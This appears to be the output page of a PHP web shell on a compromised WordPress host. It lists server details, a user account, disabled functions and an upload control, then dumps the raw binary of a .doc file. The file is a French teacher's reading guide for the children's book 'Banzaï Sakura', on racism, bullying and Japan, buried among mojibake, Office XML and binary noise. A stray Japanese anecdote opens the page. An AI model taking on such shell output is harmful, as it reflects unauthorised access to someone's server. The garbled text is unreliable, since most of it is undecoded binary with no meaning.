レ(゚∀゚;)ヘ ヘ( ゚∀゚;)ノレ(゚∀゚;)ヘ ヘ( ゚∀゚;)ノ徐氏は彼に言った。「あなたの容姿から判断すると、あなたは悪い人には見えません。深く自制して善行を積むべきです。」しかし、これは貧しさゆえに違いない。そこで彼は徐氏に絹の反物を2反渡すように命じた。それ以来、その郡では盗みは起こらなくなった。⛴️⛴️ HEX
HEX
Server: Apache
System: Linux webm009.cluster123.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: doubslu (163693)
PHP: 8.5.7
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/doubslu/www/wp-content/uploads/2014/10/4-Banzai-Sakura.doc
��ࡱ�>��	;=����:�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������y�	��bjbj��1 �{�{�������j	j	���������������n:>>>>�������$��6!f���>>�(���0�>�>�������>�������������I:��>0n��!�
�!��!�� ��n���������������������������������������������������������������������!j	$�:Banza� Sakura, V. Delamarre Bell�go, Oskar 
Th�mes abord�s : �cole, amiti�, racisme, choc des cultures, Japon 
Ce r�cit est un journal intime. Sakura, petite fille japonaise offre � Jos�phine un carnet japonais et lui dit�: ��- Jo, je voudrais que tu racontes notre histoire. Pour que nous n�oubliions jamais cette ann�e m�morable de CM2��. Jos�phine s�adresse souvent � son carnet comme s�il s�agissait d�une personne. Le lecteur peut ainsi s�impliquer plus facilement dans l�histoire. 
- Rep�rer les r�actions de Jos�phine lors des diff�rents �v�nements cit�s et les sentiments qu'elle �prouve notamment pour Sakura et Fabio.
- Faire le portrait physique et moral de Sakura, Jos�phine et Fabio � partir du journal de Jos�phineL'�volution des personnages. 
�tudier la construction de l�histoireD�s la p. 21 le lecteur sait que Sakura arrivera � dompter Fabio, le gar�on qui n�aura de cesse de la tourmenter. Le suspense r�side dans la d�couverte du stratag�me qu�elle va mettre en place.Rep�rer les passages o� Jos�phine anticipe sur ce qui s'est pass�, le r�le de l'insulte de Fabio ; Sexy SushiMettre en relation la premi�re et la derni�re page.
�tudier les titres des chapitres avant et apr�s leur lecture
Mieux conna�tre la langue japonaise- Rep�rer des mots ou phrases en japonais dans le texte avec leur signification.Sakura dit�p.30 : ��il y a beaucoup de noms japonais dans la langue fran�aise��. Faire rechercher par les �l�ves  des mots japonais qui sont pass�s dans la langue fran�aise.
On peut �galement lire aux �l�ves. L�Amiral des mots, P. Aroneanu, Syros (�puis�, disponible en biblioth�que), petit conte dont l�objectif est en fait de nous montrer que notre langue a emprunt� des mots dans de nombreuses langues et s�est ainsi enrichie.
Mieux conna�tre le Japon et les japonais.Faire une liste de tout ce qui fait r�f�rence au Japon. Rep�rer les sp�cificit�s (objets, jeux, fa�ons de se comporter, f�tes, �v�nements...).R�aliser des panneaux ou un dossier sur le Japon en compl�tant les informations trouv�es dans le livre avec des recherches dans d'autres r�cits, dans des documentaires et sur internet.- Aujourd'hui au Japon : Keiko � Tokyo, Gallimard jeunesse, 2010Documentaire sous la forme d'un journal intime. Keiko, 12 ans, nous parle de la vie quotidienne au Japon et des traditions.Les Japonais, F. MacDonald, De La Mart, ini�re Jeunesse, coll. Vivre comme�, avril 2000La Mythologie japonaise, C. Helft, K. Le Pabic, Actes Sud Junior, Les Naissances du Monde, 2011L'indispensable br�viaire pour remonter aux sources mythologiques de l'archipel et tout savoir de la g�n�alogie des Kami, ces divinit�s dont le dernier rejeton est l'empereur lui-m�me! HYPERLINK "http://www.comptines.fr/spip.php?article672"Deux bibliographies sur le Japon (albums, r�cits et documentaires jeunesse pour tous les �ges):
 HYPERLINK "http://www.comptines.fr/spip.php?article672"http://www.ricochet-jeunes.org/themes/theme/68-japon
 HYPERLINK "http://www.comptines.fr/spip.php?article672"http://librairiecomptines.hautetfort.com/archive/2011/03/13/bibliogrpahie-japon-documentaires.html
Faire lire d�autres livres o� il est question du choc des cultures entre le Japon et d�autres pays:La petite fille au kimono rouge, K. Haugaard, Le livre de poche jeunesseAzami, le c�ur en deux, Marc Cantin et Isabel, Nathan poche
Organiser un d�bat sur le racisme quotidien� partir des insultes racistes de Fabio et de la discussion entre plusieurs �l�ves de la classe  et Sakura p. 32-33
Organiser un d�bat sur le harc�lement � l��cole et les moyens de le combattre � partir de Banza� Sakura. L'�cole y est compar�e � la jungle o� cohabitent fauves et proiesBanza� Sakura  peut �tre mis en r�seau avec d�autres r�cits traitant du m�me sujet�:Lace-moi les baskets, Guy Jimen�s, Mini Max et Maxi durs, R. Bertin, Le banc, S. Kao, Syros, Tempo...

,23;Zfo{��	
4
U
v
�
�
�������U{��ƵƵ�����������y�y�y�k�^�y�Nh^f�h%i96�OJQJ]�^Jh^f�h^f�OJQJ^Jh^f�h%i96�OJQJ^Jh^f�h%i95�OJQJ^Jh^f�h%i95�OJQJ\�^Jh^f�h%i9OJQJ^J h^f�h^f�CJOJQJ^JaJ h^f�h%i9CJOJQJ^JaJ&h^f�h%i95�CJOJQJ\�^JaJ#h^f�h%i95�CJOJQJ^JaJ&h^f�h%i95�6�CJOJQJ^JaJ,o�	v
�
���
��/����������������d��d��<d�d��9����{�� j������� XY[�����-.���������󝱎���z���iU���'�j�h^f�h%i9OJQJU^J h^f�h%i9OJQJ^JmH�sH�'�j�h^f�h%i9OJQJU^Jh^f�h%i90JOJQJ^J'�jh^f�h%i9OJQJU^J!jh^f�h%i9OJQJU^Jh^f�h%i90JOJQJ^J(h^f�h%i90J5�6�OJQJ\�]�^Jh^f�h^f�OJQJ^Jh^f�h%i9OJQJ^J./����D��!cp�������������������������h^f�h%i9OJQJ^Jh^f�h%i96�OJQJ^Jh^f�h%i95�OJQJ^J#h^f�h%i95�OJQJ^JmH�sH�/1�h;0��. ��A!��"��#��$��%��������D���y������K����y������K�Xhttp://www.comptines.fr/spip.php?article672�D���y������K����y������K�Xhttp://www.comptines.fr/spip.php?article672�D���y������K����y������K�Xhttp://www.comptines.fr/spip.php?article672^���������666666666vvvvvvvvv666666>666666666666666666666666666�6666666666�666666666666hH66666666666666666666666666666666666666666666666666666666666666666�62���� 0@P`p������2(�� 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p��8X�V~_HmHnHsHtH^`�^Normald��*$(CJOJPJQJ^J_HaJmHsHtHh@bhTitre 1!@&
&F
&Fd���5CJ0KHOJPJQJ\aJ0:A �:Police par d�fautZi@�Z
0Tableau Normal :V�4�4�
la�2k �2
0Aucune listeJ�/��JAbsatz-Standardschriftart<�/�<Police par d�faut1L�o�LTitre 1 Car5CJ0KHOJPJQJ\aJ0(W`�!(�lev�5\2�o�12PucesOJPJQJ^JRU`�ARLien hypertexte>*B*	_H�mH�ph�sH�tH�L�ObLTitre1
���x$CJOJPJQJ^JaJ@B@b@Corps de texte
��x*/@ar*Liste^JJ�O�JL�gende1
�x�x$6CJ]^JaJ8�O�8
R�pertoire$^JD�O�DContenu de tableau$L�O��LTitre de tableau$$a$5\PK!����[Content_Types].xml���N�0E�H���-J��@%�ǎǢ|�ș$�ز�U��L�TB� l,�3��;�r��Ø��J��B+$�G]��7O٭V��<a���(7��I��R�{�pgL�=��r���8�5v&����uQ�뉑8��C����X=��$␴�?6N�JC������F�B.ʹ'�.�+���Y�T���^e5�5�� ��ð�_�g -�;�����Yl�ݎ��|6^�N��`�?���[��PK!�֧�6_rels/.rels���j�0���}Q��%v/��C/�}�(h"���O�
����=������ ����C?�h�v=��Ʌ��%[xp��{۵_�Pѣ<�1�H�0���O�R�Bd���JE�4b$��q_����6L�R�7`������0̞O��,�En7�Li�b��/�S���e��е�����PK!ky���theme/theme/themeManager.xml�M
� @�}�w��7c�(Eb�ˮ��C�AǠҟ����7��՛K
Y,�
�e�.���|,���H�,l����xɴ��I�sQ}#Ր���� ֵ+�!�,�^�$j=�GW��)�E�+&
8���PK!��T��theme/theme/theme1.xml�YOoE�#�F{oc'vGu�رh�F�[��xw�;���jf��7���q�7�P����%PE�W����z'^�������ڳ�y��oެ/_�3t@��<i{��5���M¶wkؿ��!�p`���DzW6�}�2^W�	���\�m/R*]_Z�>,cy��$�gc.b����An̖�k�ե��C	�A�0��vs<�>�6r�=*%����@�&ٖ6دk���.����~8$����
�����6./�lS�����_�/��/�"J�F��V!����z�n�^�3�ੵ�,��_�wr�%��8/�[k�.�$e��V��i�2[�P�s���jcs���7���f����
��W��K�Ն�7���d���g�Ș��J���j|��j(�K��D-����
dX��iJ�؇2��x$(�
�:��'vɗsKZ����j{�Zb&���^>{���?=���уG����]�8	˻^|�ɟ�>D<����Ϫ����~���j ��̜�?�����_|���+����!��D7�!��18f��ZNF�l;����I(q���
�=9�S̲�8vt����
xur�1x�����E���u����5����$	���I���A��.N���&)�f^���݈8f�2�(��(���}B*��C���.�X�;u0�ɐ��j�mڦ1�eZ�3�ۉ��m����-r�"�+0�0~H�ƫx�p\%r�cV�u��*#S�q=� �!a�"e՞��-%�ƪL���.R(�_%�:漌����iv@���}O�C�b��U|����Cp�0ݷ)q�}2ܢ�cҬ@���U�L�C5@�W�4�;�f��j8?��|��
��T�ބӫ�g���"�qz�r�7����$�%��G�[r~K������S򌅁��,bm3v���1el���\�f�p�}X�̕���4����A��6{�����A�S���Lt(Q�%\�r�l���_٫fS_B,sH�vx`�W�r~�(��Bs���h�U�r)
�����6�����4C����ebs)����bMj�B�U��k�p��:�6GyZL�3E2��r����Q�$)��9G����񄨕������v�$��5�˳�:Y�+x�%�v�YRnN��ö�j.7=������.��Yo�|%lٟ�̦�g�l厹MP�W6�s;<�
����li�GY	�Dk��/7!���@�Ί�5(��
���Z2_��]Zѱ�_3*�E� 
шM����R*�u�a����h�G.9gMW~#fpv�4����;��
!6�o%�JۍsgwŴ�9�R.�+�<��+�΀�F�S�*�BiD�����pT�߅�PT��/ȁ����a�.�j��HP8�T$�Z2�w��zvvY�,d*�d�L��#r@�Ps�>�=A�6�h��ן�=�Q���r�9LV�������638��h�&��T�����-;��ƬF���t���E�x�Zƚ�x��Y����(�wHH��>��v�u��[�x��A�@U_���iG08�E[LZ�
m6:��9O���c�֖�&�gv1���^<�`gvbm��2{�Eai�_dLb��d�_���.$z~3�0%M1��T�=0}�o5����PK!
ѐ��'theme/theme/_rels/themeManager.xml.rels��M
�0���wooӺ�&݈Э���5
6?$Q��
�,.�a��i����c2�1h�:�q��m��@RN��;d�`��o7�g�K(M&$R(.1�r'J��ЊT���8��V�"��AȻ�H�u}��|�$�b{��P����8�g/]�QAsم(����#��L�[������PK-!����[Content_Types].xmlPK-!�֧�60_rels/.relsPK-!ky���theme/theme/themeManager.xmlPK-!��T���theme/theme/theme1.xmlPK-!
ѐ��'�	theme/theme/_rels/themeManager.xml.relsPK]�
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/> ����{.
�
�
YZ��-X��X��X���8�@�����������0�(	�
��B
�S����	?�
#��ek��@F5;$ns��#	,	4	8	:	@	�	�	�	�	�����
�
cijp�� �
[��.�� 3 �������������P���^��`�P���@����@^�@`�������0���^��`�0���`����`^�``����������^��`����������^��`��������^�`������`���^��`�`���0���0^�0`�����������%i9^f� �@�ZZZZ�@��Unknown������������G��*�Ax�	�Times New Roman5��Symbol3.��*�Cx�	�Arial7.���@	�Calibri_��OpenSymbolArial Unicode MSO.��
�k9�Lucida Sans Unicode5.��.�[`�)�TahomaA���$B�Cambria MathBA���h
x+�m�+'S���S�!�20K����HX	�	$P���������������������^f��!xx����corinne tissiercorinne tissier����Oh��+'��0|�������	
,8D
P\dlt�corinne tissierNormal.dotmcorinne tissier2Microsoft Office Word@�Ik@@�+`�@v���S�����՜.��+,��D��՜.��+,��4�hp��������
���MicrosoftTitre� 8@_PID_HLINKS�A�=!,http://www.comptines.fr/spip.php?article672=!,http://www.comptines.fr/spip.php?article672=!,http://www.comptines.fr/spip.php?article672	

�������� !"#$%&'()����+,-./01����3456789��������<��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry��������	�F`���>�Data
������������1Table�����!WordDocument����1 SummaryInformation(������������*DocumentSummaryInformation8��������2CompObj������������r������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�F Document Microsoft Word 97-2003
MSWordDocWord.Document.8�9�q